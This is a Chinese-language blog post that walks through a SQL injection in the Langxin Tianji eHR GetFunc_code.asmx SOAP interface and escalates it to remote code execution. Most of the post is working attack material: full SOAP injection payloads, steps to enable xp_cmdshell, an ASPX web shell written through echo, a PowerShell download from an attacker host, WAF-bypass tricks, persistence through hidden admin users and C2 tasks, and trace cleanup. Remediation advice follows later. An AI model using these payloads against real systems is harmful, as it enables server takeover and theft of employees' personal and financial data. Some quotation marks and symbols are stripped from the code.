从SQL注入到RCE:朗新天霁eHR系统漏洞链分析与实战复现

发布时间:2026/7/6 12:37:30
从SQL注入到RCE:朗新天霁eHR系统漏洞链分析与实战复现 1. 项目概述从SQL注入到RCE的惊险一跃最近在梳理一些老牌企业应用系统的安全风险时朗新天霁的eHR人力资源管理系统进入了我的视线。这套系统在很多企事业单位里都有部署负责管理着核心的人事、考勤、薪酬数据其安全性不言而喻。然而安全研究往往揭示出理想与现实的差距。这次要复现的就是其GetFunc_code.asmx接口存在的一个SQL注入漏洞。更关键的是这个注入点并非简单的数据泄露在特定条件下它能够成为一枚跳板最终实现远程代码执行。对于安全从业者而言理解这类从“注入”到“RCE”的完整攻击链至关重要它不仅能帮助我们更有效地进行渗透测试和漏洞验证更能深刻理解防御的薄弱环节究竟在哪里。这篇文章我就来详细拆解这个漏洞的发现、利用过程并分享一些在复现过程中踩过的坑和总结的技巧。2. 漏洞背景与核心原理剖析2.1 朗新天霁eHR系统与SOAP接口朗新天霁eHR是一套基于B/S架构的人力资源管理软件通常采用.NET技术栈开发。在它的Web服务层存在大量以.asmx为后缀的Web Service文件这是ASP.NET Web Services的标准文件格式。GetFunc_code.asmx就是其中之一它对外提供基于SOAP协议的API接口。SOAP是一种基于XML的协议用于在Web上交换结构化信息。攻击面就藏在这里虽然SOAP消息本身是XML格式但服务端在处理时最终还是会将XML节点中的参数值提取出来拼接进数据库查询语句中。如果开发人员没有对用户输入的参数进行严格的过滤和预编译处理那么一个精心构造的XML节点值就能打破原有SQL语句的结构这就是SOAP接口SQL注入的由来。2.2 SQL注入点定位与利用逻辑根据公开的漏洞信息问题出在GetFunc_code.asmx接口的GetMessage方法上。该方法接收一个名为loginName的参数。正常的SOAP请求中loginName标签内是一个合法的用户名。但漏洞在于服务端代码可能直接使用了字符串拼接的方式来构造SQL查询例如string sql SELECT * FROM UserTable WHERE LoginName loginName ;当攻击者将loginName参数值设置为1 UNION SELECT ... --时拼接后的SQL语句就变成了SELECT * FROM UserTable WHERE LoginName 1 UNION SELECT ... ----是SQL注释符它注释掉了原查询的后半部分使得攻击者能够完全控制查询逻辑执行任意的UNION查询从而泄露数据库信息。注意在实际的.NET环境中数据库可能是MSSQL。上述POC中使用了ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))这是一个典型的用于获取MSSQL当前数据库用户名的技巧SYSTEM_USER是MSSQL的系统函数。这也侧面印证了目标系统的技术栈。2.3 从信息泄露到RCE的关键路径单纯的数据库信息泄露如用户名、密码哈希、表数据危害已经很大但攻击者往往追求更高的权限——远程代码执行。在MSSQL数据库环境下从SQL注入到RCE通常依赖于以下几个关键能力它们环环相扣获取高权限数据库账户首先需要通过注入查询确认当前数据库连接所使用的账户权限。如果是sa系统管理员或具有sysadmin服务器角色的账户那么几乎可以执行任何数据库操作包括RCE。启用/利用扩展存储过程MSSQL提供了xp_cmdshell这个扩展存储过程它允许在数据库服务器上执行操作系统命令。但默认情况下它是禁用的。利用注入点执行系统命令一旦确认有足够权限就可以通过注入执行SQL语句来启用xp_cmdshell然后直接调用它来运行系统命令从而实现RCE。整个攻击链的逻辑非常清晰利用未过滤的SOAP参数进行SQL注入 - 获取或提升数据库权限 - 启用危险组件 - 执行操作系统命令。下面我们就进入实战复现环节。3. 环境搭建与漏洞复现实操3.1 目标环境探测与识别在开始测试之前绝对不要对未经授权的真实系统进行任何操作。我们所有的复现都应在授权的测试环境或自建的靶场中进行。识别特征根据网络空间测绘引擎如FoFa的语法朗新天霁eHR系统的前端页面通常包含“人力资源管理系统”和“Silverlight”关键词。Silverlight是其前端可能使用的技术这成为一个有效的指纹特征。在内部测试中我们可以直接访问疑似路径/ws/GetFunc_code.asmx如果返回一个描述Web Service的WSDL页面则基本可以确认该接口存在。工具准备本次复现主要使用Burp Suite作为HTTP代理和重放工具。因为漏洞利用涉及精确的SOAP XML构造手动在Burp中编辑请求比使用自动化扫描器更可靠。同时需要准备一个简单的HTTP服务器例如用Python的http.server模块来托管后续可能需要的Payload文件。3.2 初步SQL注入验证首先我们发送一个正常的SOAP请求以了解接口格式。使用Burp Suite抓取或构造如下请求POST /ws/GetFunc_code.asmx HTTP/1.1 Host: [target_ip]:[port] Content-Type: text/xml; charsetutf-8 SOAPAction: http://tempuri.org/GetMessage Content-Length: [length] ?xml version1.0 encodingutf-8? soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:xsdhttp://www.w3.org/2001/XMLSchema xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ soap:Body GetMessage xmlnshttp://tempuri.org/ loginNametestUser/loginName /GetMessage /soap:Body /soap:Envelope如果服务正常可能会返回一个包含查询结果的XML响应或者一个错误信息但非SQL错误。接下来进行注入验证。修改loginName标签内的值为经典的探测Payloadtest OR 11。请求包变为loginNametest OR 11/loginName观察响应。如果返回的数据异常增多因为OR 11条件永真或者返回了与正常请求不同的错误信息如包含SQL语法错误详情则初步判断存在注入点。为了进一步确认注入类型和数据库我们使用一个更精确的Payload。将loginName替换为loginName1 AND 11/loginName再发送一次请求记录响应。然后再发送loginName1 AND 12/loginName对比两次响应。如果第一次响应正常有数据或特定状态第二次响应异常无数据、错误或明显不同则说明注入点有效且属于“基于布尔”的盲注类型。这是非常关键的一步它决定了我们后续利用的方式。3.3 利用UNION查询获取系统信息确认注入存在后下一步是利用UNION查询获取数据库信息。这需要先判断查询的列数。通过ORDER BY子句来探测loginName1 ORDER BY 5-- /loginName逐渐增加ORDER BY后面的数字如5, 10, 15...直到服务器返回错误如“ORDER BY position 超出范围”。假设ORDER BY 10成功而ORDER BY 11失败则说明原查询返回10列。接着构造UNION查询。我们需要让前后查询的列数一致。先使用NULL占位符loginName1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- /loginName如果请求成功说明列数匹配。接下来需要判断每一列的数据类型以便放置我们想获取的信息。可以逐一将某个NULL替换为字符串如test或数字如1观察是否报错。假设我们探测出第2列是字符串类型。现在可以获取关键信息了。获取当前数据库用户loginName1 UNION ALL SELECT NULL, SYSTEM_USER, NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- /loginName获取当前数据库名loginName1 UNION ALL SELECT NULL, DB_NAME(), NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- /loginName实操心得在构造UNION Payload时--后面的空格至关重要。在SQL中--是单行注释但很多解析器要求后面跟一个空格或制表符才能真正注释掉后续内容。直接写--有时会导致语法错误。因此我习惯写成--有一个空格或--加号在URL中常被解释为空格。3.4 权限提升与xp_cmdshell启用通过上一步我们假设已经获取到当前数据库用户是sa或具有高权限的角色。现在目标是执行系统命令。在MSSQL中这通常通过xp_cmdshell实现。首先尝试直接调用xp_cmdshell看是否已启用loginName1; EXEC master..xp_cmdshell whoami-- /loginName注意这里使用了分号;来分隔多条SQL语句。如果返回错误提示xp_cmdshell被禁用则需要先启用它。启用xp_cmdshell的步骤需要sysadmin权限启用高级选项loginName1; EXEC sp_configure show advanced options, 1; RECONFIGURE-- /loginName启用xp_cmdshellloginName1; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE-- /loginName再次尝试执行命令loginName1; EXEC master..xp_cmdshell whoami-- /loginName如果成功响应包中可能会包含命令执行的结果输出。例如whoami命令可能返回nt authority\system或类似的系统级权限这标志着我们已经成功通过数据库注入获得了服务器的命令执行权限即实现了RCE。3.5 写入WebShell实现持久化访问获得命令执行能力后为了更方便地控制服务器通常会尝试写入一个WebShell到网站的可访问目录。首先需要找到网站的物理路径。可以通过一些MSSQL特性或执行命令来寻找。方法一通过错误信息。尝试访问一个不存在的.asmx文件有时错误页面会暴露物理路径。方法二通过命令遍历。使用xp_cmdshell执行查找命令例如loginName1; EXEC master..xp_cmdshell dir c:\inetpub /s /b | findstr .aspx-- /loginName这个命令会在C:\inetpub目录下递归查找.aspx文件从而定位网站目录。假设我们找到了路径C:\inetpub\wwwroot\ehr。接下来写入一个简单的ASP.NET WebShell。我们可以用echo命令逐行写入文件。这里写入一个最简单的CMD Shellcmd.aspxloginName1; EXEC master..xp_cmdshell echo ^% Page LanguageC# %^ c:\inetpub\wwwroot\ehr\cmd.aspx-- /loginName loginName1; EXEC master..xp_cmdshell echo ^% Import NamespaceSystem.Diagnostics%^ c:\inetpub\wwwroot\ehr\cmd.aspx-- /loginName loginName1; EXEC master..xp_cmdshell echo ^% try { Process proc new Process(); proc.StartInfo.FileName cmd.exe; proc.StartInfo.Arguments /c Request[cmd]; proc.StartInfo.UseShellExecute false; proc.StartInfo.RedirectStandardOutput true; proc.Start(); Response.Write(proc.StandardOutput.ReadToEnd()); } catch(Exception ex) { Response.Write(ex.Message); } %^ c:\inetpub\wwwroot\ehr\cmd.aspx-- /loginName踩坑记录在通过echo和重定向写入多行内容时XML和CMD的特殊字符如,,需要转义。在CMD中^是转义字符。在XML中和需要分别写成lt;和amp;这会导致构造极其复杂且容易出错。更稳妥的方法是先在攻击机本地写好WebShell文件然后通过xp_cmdshell调用certutil、bitsadmin或powershell从远程下载。例如使用PowerShell下载loginName1; EXEC master..xp_cmdshell powershell -c Invoke-WebRequest -Uri http://your-ip/shell.aspx -OutFile c:\inetpub\wwwroot\ehr\shell.aspx-- /loginName这种方法成功率高且能写入更复杂的WebShell。写入成功后访问http://target_ip/ehr/cmd.aspx?cmdwhoami如果返回了命令执行结果则说明WebShell写入成功获得了更稳定的控制通道。4. 漏洞深度利用与拓展技巧4.1 绕过可能的防御与过滤机制在实际环境中系统可能部署了WAFWeb应用防火墙或应用层有简单的过滤。针对这个SOAP接口的注入我们可以尝试一些绕过技巧大小写混合/双写绕过如果过滤了SELECT、UNION等关键词可以尝试SeLeCt、UNIunionON。注释符分割利用SQL注释符/**/分割关键词如SEL/**/ECT。编码绕过对Payload进行URL编码、双重URL编码、Unicode编码等。由于SOAP请求体是XML也可以尝试XML实体编码但要注意服务端解码的顺序。参数污染尝试在SOAP消息中重复loginName参数或者添加无意义的命名空间看是否能干扰解析逻辑。利用SOAP特性SOAP允许定义命名空间。可以尝试在Payload中插入无关的XML命名空间声明或者将注入语句放在CDATA区块中如果服务端解析不当但这需要具体测试。4.2 信息收集与横向移动获得RCE权限后不应止步于单台服务器。需要进行深入的信息收集为可能的横向移动做准备。收集系统信息执行systeminfo、whoami /all、net localgroup administrators等命令了解系统版本、补丁情况、当前权限和本地管理员。收集网络信息执行ipconfig /all、route print、arp -a、netstat -ano绘制内网拓扑发现其他存活主机和开放端口。查找敏感文件与凭证搜索配置文件web.config、appsettings.json、数据库连接字符串、备份文件、用户目录下的密码本等。转储数据库数据既然已经具备数据库高权限可以直接通过SQL语句导出核心的HR数据如员工身份证号、银行卡号、薪酬信息等评估数据泄露风险。4.3 权限维持与清理痕迹在授权测试中为了证明漏洞危害有时需要维持访问。除了WebShell还可以考虑创建计划任务通过schtasks命令创建定时任务定期连接C2服务器。创建隐藏用户通过net user命令添加一个隐藏的、具有管理员权限的账户。安装SSH或其它后门服务如果环境允许可以上传并安装一个轻量级的SSH服务端。更重要的是清理痕迹在测试结束后务必删除上传的WebShell文件、清理命令行历史对于MSSQLxp_cmdshell的执行记录可能会留在SQL Server错误日志或Windows事件日志中、删除创建的用户或任务。将环境恢复到测试前的状态是专业安全测试的基本要求。5. 漏洞修复与安全加固建议复现漏洞的最终目的是为了修复和防御。针对这个漏洞链可以从多个层面进行加固5.1 代码层修复根本解决使用参数化查询预编译语句这是防御SQL注入最有效、最根本的方法。无论是使用ADO.NET的SqlParameter还是Entity Framework等ORM框架都应确保所有用户输入都作为参数传递而非字符串拼接。// 错误示例拼接 string sql SELECT * FROM Users WHERE LoginName loginName ; // 正确示例参数化 string sql SELECT * FROM Users WHERE LoginName loginName; SqlCommand cmd new SqlCommand(sql, connection); cmd.Parameters.AddWithValue(loginName, loginName);对输入进行严格的校验和过滤在参数化查询的基础上增加白名单校验。例如loginName参数可以限制为特定字符集字母、数字、下划线和长度。最小权限原则用于连接数据库的应用程序账户不应使用sa等高权限账户。应创建一个仅具有所需表SELECT/UPDATE等最小权限的专用账户。这样即使发生注入攻击者也无法启用xp_cmdshell或执行高危操作。移除或禁用不必要的扩展存储过程在生产环境中如果没有业务需要应禁用xp_cmdshell、xp_regread等危险的扩展存储过程。EXEC sp_configure xp_cmdshell, 0; RECONFIGURE;5.2 系统与网络层加固及时更新与打补丁保持操作系统、.NET Framework、SQL Server以及朗新天霁eHR系统本身处于最新版本修复已知的安全漏洞。部署WAF在应用前端部署Web应用防火墙可以有效地拦截和阻断常见的SQL注入、RCE等攻击Payload。网络隔离与访问控制将数据库服务器部署在内网与Web服务器分离并严格限制访问源。仅允许Web服务器通过特定端口访问数据库。加强日志审计与监控启用并集中收集数据库的SQL审计日志、Windows安全日志和Web服务器访问日志。设置告警规则对异常查询如包含xp_cmdshell、UNION SELECT、异常文件创建如.aspx文件写入web目录等行为进行实时告警。5.3 安全开发生命周期SDL融入对于朗新天霁这样的软件开发商应将安全融入开发流程安全培训对开发人员进行持续的安全编码培训重点讲解SQL注入、命令注入等OWASP Top 10漏洞。代码审计在开发过程中和上线前引入静态应用程序安全测试SAST工具和人工代码审计及时发现并修复此类漏洞。渗透测试定期聘请第三方专业安全团队对产品进行黑盒/白盒渗透测试模拟真实攻击发现潜在风险。6. 复现过程中的常见问题与排查在复现这个漏洞时我遇到了几个典型问题这里分享排查思路发送Payload后返回“500内部服务器错误”但没有具体的SQL错误信息。排查这可能是Payload触发了服务端未处理的异常导致通用错误页。首先检查Payload的语法是否正确特别是XML格式是否良好标签闭合、特殊字符转义。可以尝试更简单的Payload如test一个单引号看是否报错。如果依然500可能是WAF拦截或服务端有全局异常处理。尝试在Payload中添加大量空白字符或注释进行混淆。UNION查询确定列数时ORDER BY N一直不报错直到一个很大的数字。排查这可能说明原查询返回的列数非常多或者ORDER BY子句被以某种方式处理/忽略了。可以换用UNION SELECT NULL,NULL,...的方式从1个NULL开始递增直到请求成功为止来反推列数。启用xp_cmdshell时提示“配置选项‘xp_cmdshell’不存在”。排查这可能是因为当前数据库版本如SQL Server Express不支持xp_cmdshell或者当前用户权限极低连查看配置的权限都没有。可以先执行SELECT version查看数据库版本和权限。如果没有xp_cmdshell可以尝试其他命令执行方法如利用SQL Server Agent作业、CLR集成等但这些要求更高权限且配置更复杂。通过xp_cmdshell执行命令成功但无回显。排查xp_cmdshell执行某些命令可能没有输出或者输出被丢弃。可以尝试将命令输出重定向到Web目录下的一个文件然后通过HTTP访问该文件来读取结果。loginName1; EXEC master..xp_cmdshell whoami c:\inetpub\wwwroot\result.txt-- /loginName然后访问http://target/result.txt查看。也可以尝试执行ping命令并通过ICMP流量或DNS日志来判断命令是否执行。写入WebShell时提示“访问被拒绝”。排查这通常是权限问题。xp_cmdshell默认以SQL Server服务账户的身份运行命令。该账户可能对Web目录没有写权限。可以尝试写入到临时目录C:\Windows\Temp或者通过icacls命令查看并修改目录权限如果SQL Server账户有相应权限的话。另一个思路是先通过命令执行上传一个提权工具尝试提升权限后再进行写入操作。这个从朗新天霁eHR一个SOAP接口的SQL注入到最终实现RCE的完整链条清晰地展示了一个表面看似“仅数据泄露”的中危漏洞在缺乏纵深防御的环境下如何演变成夺取服务器控制权的严重威胁。对于企业而言修补此类漏洞刻不容缓对于安全研究者理解并能够复现此类链式攻击是提升实战能力的关键。在测试过程中耐心、细致的观察和对每个环节原理的深入理解往往比盲目使用自动化工具更为重要。每一次成功的漏洞复现都是对自身知识体系的一次巩固和拓展。